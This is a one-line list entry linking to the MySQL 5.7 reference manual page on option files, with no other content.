- https://dev.mysql.com/doc/refman/5.7/en/option-files.html